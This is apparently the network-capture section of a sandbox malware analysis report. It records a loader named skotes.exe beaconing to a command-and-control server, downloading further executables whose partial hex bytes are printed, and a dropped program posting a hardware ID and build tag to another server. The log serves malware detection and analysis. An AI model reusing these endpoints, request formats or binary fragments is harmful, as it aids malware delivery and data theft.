0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 94 dc 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;gPI@I@\ppq P^@.rsrc `n@.idata pn@ p@ffvhfheu/r@vhlwdbpf@I@.taggant0PI".@
Nov 20, 2024 08:10:16.358871937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:16.358881950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:16.358891964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:16.358901978 CET	1236	IN	Data Raw: 05 f9 0e 19 c3 0d 87 a0 c7 91 18 df 6d 8a b9 f6 4f b8 b6 b5 c7 d6 64 21 4b 0b 4e d6 63 99 4d 74 79 11 7b 40 03 20 c3 78 40 db 11 60 7a 66 73 3e 07 76 58 88 ad 01 15 94 ab 09 34 7a 94 d0 ce 3c c2 4c 73 3f e1 90 68 7d 10 90 33 3f f6 59 b8 83 ce 43 Data Ascii: mOd!KNcMty{@ x@`zfs>vX4z<Ls?h}3?YCG4zr_LW%`l=elnoRt;LXx2=qPla;pK:a:Mdss$GKKv?JtJ~yY2)F8"gY@0?DVK5Z6_TOOXw(*
Nov 20, 2024 08:10:16.358921051 CET	1236	IN	Data Raw: f4 8a ff 60 cf f6 55 57 45 c6 8d 46 ba 6c 79 6d 5a 68 44 ed 9f f5 33 50 8b 7d 30 8a 9f 54 76 e8 5a 25 12 7d 4f 11 be 61 7b 3e 80 b8 06 d9 44 45 41 f6 fe fc 90 ab 5e b4 5e 13 72 38 e6 88 45 dd 4a 08 af e0 80 79 a7 eb c8 84 57 a0 ee b4 f7 d6 69 4b Data Ascii: `UWEFlymZhD3P}0TvZ%}Oa{>DEA^^r8EJyWiKJmHc9OVNZ#Grsn$}hU:&5xmH)U] :hLUpWk{[^8:sVy2u!)A8&7{%a8UzDfRF
Nov 20, 2024 08:10:16.358932018 CET	776	IN	Data Raw: 18 5f e1 fe 77 99 85 b7 84 b3 58 23 f9 d9 48 90 9a 5d 15 c8 04 92 a2 86 79 7a 3f 94 4d 03 0b 7a 87 6d 1c 70 72 85 7d 7a 78 68 b0 b6 cc c5 9d 08 64 db d7 f9 16 79 36 df be 75 19 27 30 c3 8e e3 c4 56 cd ce f8 0b 01 66 41 97 a4 b6 0e 7a b6 fb 0b 57 Data Ascii: _wX#H]yz?Mzmpr}zxhdy6u'0VfAzW`LfW6z]yYR8>(rV6dEk4D2?9{tI_h0TU6*-50~2xG,5_e=gK&MZqGpDH:PQM
Nov 20, 2024 08:10:16.359448910 CET	1236	IN	Data Raw: c9 4a d0 01 89 78 b9 b8 97 7b 09 71 57 4f 73 99 11 89 d8 b0 75 c8 22 f4 78 25 46 11 c5 e5 2f a1 48 5d 10 13 b6 51 a5 29 4e 40 bc c9 ee bc c3 b4 42 d9 1b 3a ba 8f 2c d7 ff 6b 6f 3b 43 70 c3 a6 86 59 cb 68 ee 50 6f 93 65 8f c3 c2 af 9e 67 c4 34 fb Data Ascii: Jx{qWOsu"x%F/H]Q)N@B:,ko;CpYhPoeg4E$(u=pi[O`=)+HT:o11ioxNox[BHmA)SzSFSh@V$b=4BJ=jO'%_[.i?`
Nov 20, 2024 08:10:16.359467030 CET	1236	IN	Data Raw: 72 98 3f b6 eb 97 6b 8f 04 b2 22 2f 5c 6c 58 e6 b9 99 36 a1 c9 d9 a7 44 4a 10 88 fe 1a 90 10 b2 94 ea 9d b0 56 1d 60 bc 16 8f b6 d0 b2 69 97 ff e7 78 87 15 c9 94 46 3e 43 b0 4b 84 07 6f 0b c1 53 07 da cb e1 a1 16 34 b7 0d 3f b9 46 a0 cc be cd 01 Data Ascii: r?k"/\lX6DJV`ixF>CKoS4?FyGx8twG ql;5p&X>j1(5f@7>hwa,4cFfzC4&hCyX!Ux(ERLl;uvJzSvg\|+XY1M9.60UKFSZPO
Nov 20, 2024 08:10:16.359477043 CET	1236	IN	Data Raw: 57 58 41 df af 6d 3e f1 e7 32 c3 b7 db ea 56 22 f8 ac ee 08 5e 8c 13 fd a3 51 ad 11 cf db a4 56 e0 d7 ec a7 ca e1 75 bb 4e ae b8 d9 f7 88 7d 90 77 47 69 0c 58 b7 9a 0b cf d1 21 25 26 9a bc 18 7b 8d 43 85 8f 85 b7 07 43 4f 74 cd 37 d8 57 3e 25 74 Data Ascii: WXAm>2V"^QVuN}wGiX!%&{CCOt7W>%tHz-/8a[OguQC7c@iXV<flH6HofLdJ;pZZ+{X(z~Q~#X)Ij0OQg-=0~TzqIJE%q`yhP`
Nov 20, 2024 08:10:16.359520912 CET	1236	IN	Data Raw: 0d 1f ef c0 7f 61 24 49 d3 99 25 36 7d 0b 8b a7 3c 17 b0 b3 84 e1 63 3f cd c3 2b cc 2c 70 40 4c 1c 78 31 46 60 87 08 bb fb 4c 9a 7d 42 d9 89 84 4e 63 64 f3 44 6e db 75 46 a0 b1 d6 a4 47 31 24 8e 03 45 f7 c3 0d 90 68 08 43 f3 f6 98 b2 38 76 d5 5c Data Ascii: a$I%6}<c?+,p@Lx1F`L}BNcdDnuFG1$EhC8v\?hWo"sW_#D'W(Z_i<!U-c2AOO7A?c\|,Pg#(aD <v0H7POqIY+'~if@8Fk@iVv
Nov 20, 2024 08:10:16.359822989 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:16 GMT Content-Type: application/octet-stream Content-Length: 1855488 Last-Modified: Wed, 20 Nov 2024 06:31:35 GMT Connection: keep-alive ETag: "673d8247-1c5000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 94 dc 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;gPI@I@\ppq P^@.rsrc `n@.idata pn@ p@ffvhfheu/r@vhlwdbpf@I@.taggant0PI".@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50128	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:20.055046082 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007604001&unit=246122658369
Nov 20, 2024 08:10:20.744090080 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50131	185.215.113.16	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:20.754513979 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 08:10:21.482809067 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:21 GMT Content-Type: application/octet-stream Content-Length: 1800704 Last-Modified: Wed, 20 Nov 2024 06:31:42 GMT Connection: keep-alive ETag: "673d824e-1b7a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 20 a1 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g" i@Pi @M$a$$ $b@.rsrc$r@.idata $t@ p*$v@ofswnyqv0Ox@nhryoslqiR@.taggant0 i"X@
Nov 20, 2024 08:10:21.482836962 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:21.483045101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:21.483104944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:21.483133078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:21.483150959 CET	1236	IN	Data Raw: b5 7b 77 07 f4 93 dd ad bb 9e 41 2f 0b 39 e8 0b d0 eb 4b d4 2b 5d 2b d9 13 4b 5f b2 12 5b 01 b6 23 63 b2 a9 3b 4b 0a ce bd 63 b6 cb c3 fb 77 d5 2a 55 8c 74 3c 0f 05 5c 58 17 a5 7b 5b 28 2c 5e f4 5f 5b 3d f5 1e 24 bd 5a 62 50 cd cd 8f 7d 03 5d 59 Data Ascii: {wA/9K+]+K_[#c;KcwUt<\X{[(,^_[=$ZbP}]Y_u2_tm1\|`_<1r?@G/$}WS7f_;2`UU~\rs{<FcVnKqdlBMN?</$u!ht_}\{m?$}W\"VL#ewXV6
Nov 20, 2024 08:10:21.483169079 CET	1236	IN	Data Raw: 3b 80 72 fa f8 4c 56 5d a0 07 ee be 03 4d 16 c0 e5 ca 48 7e e2 98 63 55 3a e0 84 d5 9f 93 6b 49 a2 56 60 31 fe 20 a2 59 c2 5f 69 c5 16 65 17 4c bf 2d 7f cb 97 98 5e bc bf 28 f8 a1 ff bf 45 02 e4 89 c7 4c c4 29 1b f4 4f 23 43 bb 0f 57 2d 83 cc 0e Data Ascii: ;rLV]MH~cU:kIV`1 Y_ieL-^(EL)O#CW-5Vz)4A,:q5JatSl6oMHReUsKM:k?'Z~$)GpXk69`Xc9&%5U`W^C{2i}\~~_0~[g1
Nov 20, 2024 08:10:21.483189106 CET	1236	IN	Data Raw: 81 60 fc 67 e3 91 79 e6 22 bf 25 f5 be 62 44 0e c4 63 eb 49 1f cc 2b fb fb fb 77 26 25 34 d3 af 63 84 04 4a b2 fb a3 07 26 0f 74 16 bf cc 2e bd f1 26 bc 49 25 f7 45 f2 b6 91 58 fa b4 4b c3 75 f7 ff 45 ca b6 5c 7f 13 f7 59 bf cc 37 ba 7e ac 38 2c Data Ascii: `gy"%bDcI+w&%4cJ&t.&I%EXKuE\Y7~8,gCCG'%v/<e/GI&:%g{'J_('\|gwy~gcc?'wL13KjvW#A@y$1{yJJgq\OJ#>=ove$t29e3^IdV\|fL
Nov 20, 2024 08:10:21.483206034 CET	1236	IN	Data Raw: 2c 6c 74 ab 1b 47 79 a8 83 d0 35 bc e8 2b 33 dc f1 73 4b 1a c3 a1 43 08 1c 83 79 08 b8 2b 23 08 f2 49 47 c9 3a 33 79 08 94 2b 73 08 16 07 77 27 e2 ab 25 cd 87 64 53 be 68 c9 07 da f1 36 23 dc fb b3 28 89 20 c4 d4 59 6b 65 44 62 3b 1f ee 55 9c e7 Data Ascii: ,ltGy5+3sKCy+#IG:3y+sw'%dSh6#( YkeDb;U+{8EBvCkg;e7 4%*c@sK>%da>+z^x~%4Lc=C<uL=+%HuCw\'R:wy$%k)c[Qes~)</g
Nov 20, 2024 08:10:21.483223915 CET	1236	IN	Data Raw: b4 db 12 16 9c 5c d3 1f e8 57 7c 6a e2 e0 4b 2e 25 a7 a3 a2 bf cc b1 fd 25 0b e8 07 64 2b e7 0e 18 bb 6d dd d6 1b 83 dc d2 4b 93 3c a3 b1 f7 9a 1b fb 79 a8 1b 46 45 8a bb 91 ef 05 81 9b 27 bb d7 b3 79 4e b8 cc 19 12 b5 52 f3 dc b2 5c 17 be 07 b4 Data Ascii: \W\|jK.%%d+mK<yFE'yNR\;O%7*97#cT@Du4~ O3'qx^6yYZKb/+sI%K;+1Ce%rPkK%e#J{:hK\|Eah^R(M
Nov 20, 2024 08:10:21.487772942 CET	1236	IN	Data Raw: 27 af 2b 1a f7 aa 45 dc 2f 64 47 be 5b b4 25 59 3b 62 f3 1e b2 65 23 be 17 97 f0 f2 b9 64 ea d0 12 e8 65 cd c7 64 4f 08 f7 75 74 ac 12 79 65 dc 8f 63 27 42 ba a3 6b cf a3 a2 e6 db b1 8b 48 1e 3b 2f 5d 0c 37 f1 25 fe f3 65 87 26 e8 27 2a e0 03 f1 Data Ascii: '+E/dG[%Y;be#dedOutyec'BkH;/]7%e&'K$M;QyR;['=KU'\|/MKyWg:n]C7%e;%+%"g7Vy/9?z<]VAwt/%!7s%4CODg'lyC($9Ac)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50138	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:25.403182983 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007605001&unit=246122658369
Nov 20, 2024 08:10:26.130201101 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50140	185.215.113.16	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:26.137923002 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 08:10:26.831722975 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:26 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Wed, 20 Nov 2024 06:29:49 GMT Connection: keep-alive ETag: "673d81dd-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d5 81 3d 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL=g"bw@pa@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 20, 2024 08:10:26.831779003 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DY
Nov 20, 2024 08:10:26.831809044 CET	1236	IN	Data Raw: e8 50 c1 01 00 68 30 24 44 00 e8 eb ef 01 00 59 c3 b9 04 25 4d 00 e8 9d 98 00 00 68 3f 24 44 00 e8 d5 ef 01 00 59 c3 56 8b f1 8d 4e 18 e8 b4 87 00 00 8d 4e 08 e8 ac 87 00 00 6a 28 56 e8 e2 ec 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 ec 38 c7 05 Data Ascii: Ph0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\I0MH,M3MMMMYMMM3MTMXM\
Nov 20, 2024 08:10:26.831851006 CET	1236	IN	Data Raw: 8b ce c7 06 44 c9 49 00 e8 74 02 00 00 ff 76 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff Data Ascii: DItvL@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Nov 20, 2024 08:10:26.831880093 CET	448	IN	Data Raw: 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d Data Ascii: d3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q
Nov 20, 2024 08:10:26.831902981 CET	1060	IN	Data Raw: 27 ff d6 53 6a 11 88 47 28 ff d6 53 6a 12 88 47 24 ff d6 88 47 25 5f 5e 5b c3 55 8b ec 51 57 33 ff 8d 45 fc 57 50 57 68 00 20 00 00 89 7d fc ff 15 f0 c5 49 00 8b 45 fc 6a 02 57 57 68 01 20 00 00 a3 94 25 4d 00 ff 15 f0 c5 49 00 5f c9 c3 55 8b ec Data Ascii: 'SjG(SjG$G%_^[UQW3EWPWh }IEjWWh %MI_U=Mt_E%\M%PMXMtIhFM2j3YYuj5%Mjh I\M]3@Usy!xwJxnEP
Nov 20, 2024 08:10:26.831918001 CET	1236	IN	Data Raw: 5f 5e 33 c0 5b 5d c2 04 00 b2 01 eb ed 55 8b ec 83 ec 1c 33 d2 42 53 56 57 8b c2 50 8d 50 01 89 55 fc e8 55 07 00 00 8b f8 85 ff 0f 84 c3 00 00 00 8d 4a ff 89 0d 28 15 4d 00 8b 4f 04 8b 31 66 83 7e 08 00 75 d3 8b 36 83 fe 20 74 05 83 fe 2b 75 c7 Data Ascii: _^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuBAEESPEPEPWDMnwU%
Nov 20, 2024 08:10:26.831943989 CET	224	IN	Data Raw: 8b 5d fc ff 75 f4 8b 45 f8 ff 75 e4 ff 75 e0 53 50 ff 75 f0 57 e8 0f 04 00 00 85 c0 0f 89 08 ff ff ff e9 82 00 00 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 c7 04 04 00 8b 45 f4 48 4f 83 bd 54 ff ff ff 00 89 45 f4 0f 84 9e 02 04 00 80 bd 5d ff ff ff Data Ascii: ]uEuuSPuWAjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl`MT
Nov 20, 2024 08:10:26.831974030 CET	1236	IN	Data Raw: e8 e6 01 00 00 8d 4d 9c e8 de 01 00 00 5f 8b c6 5e 5b c9 c3 83 e8 04 0f 84 ca 03 04 00 83 e8 01 0f 84 72 03 04 00 8b 55 f8 8b 5d fc 83 e8 05 0f 85 a7 fc ff ff e9 d3 fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 d4 03 04 00 83 7d f4 00 0f 85 82 fc Data Ascii: M_^[rU]AjYf9H}AjYf9HEE}xPG\|EIEE}`PGdE%}U]/EHOxE}E
Nov 20, 2024 08:10:26.831998110 CET	1236	IN	Data Raw: 04 00 a0 90 23 4d 00 a2 04 14 4d 00 a0 91 23 4d 00 88 44 24 12 8d 44 24 14 50 8d 84 24 3c 00 01 00 50 68 ff 7f 00 00 ff 35 18 14 4d 00 ff 15 68 c3 49 00 ff 74 24 14 b9 f0 13 4d 00 e8 59 40 00 00 8a 5c 24 11 ff 35 00 14 4d 00 68 18 14 4d 00 e8 be Data Ascii: #MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5X
Nov 20, 2024 08:10:26.836859941 CET	1236	IN	Data Raw: 49 00 e8 90 1a 02 00 59 59 85 c0 75 3e 89 1d 00 14 4d 00 38 5d 0b 75 0a c7 05 00 14 4d 00 03 00 00 00 8d 45 f0 50 8d 4d 90 e8 c5 00 00 00 8d 45 f0 b9 18 14 4d 00 50 e8 fa 78 00 00 8d 45 f0 83 ee 02 50 8d 4d 90 e8 a8 00 00 00 39 1d 1c 14 4d 00 0f Data Ascii: IYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50141	185.215.113.206	80	5668	C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:26.288325071 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 08:10:26.987371922 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:10:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 08:10:26.990345001 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 45 33 30 37 36 31 39 45 44 41 33 35 31 37 33 33 34 39 31 34 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="hwid"DAE307619EDA3517334914------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="build"mars------IIIECAAKECFHIECBKJDH--
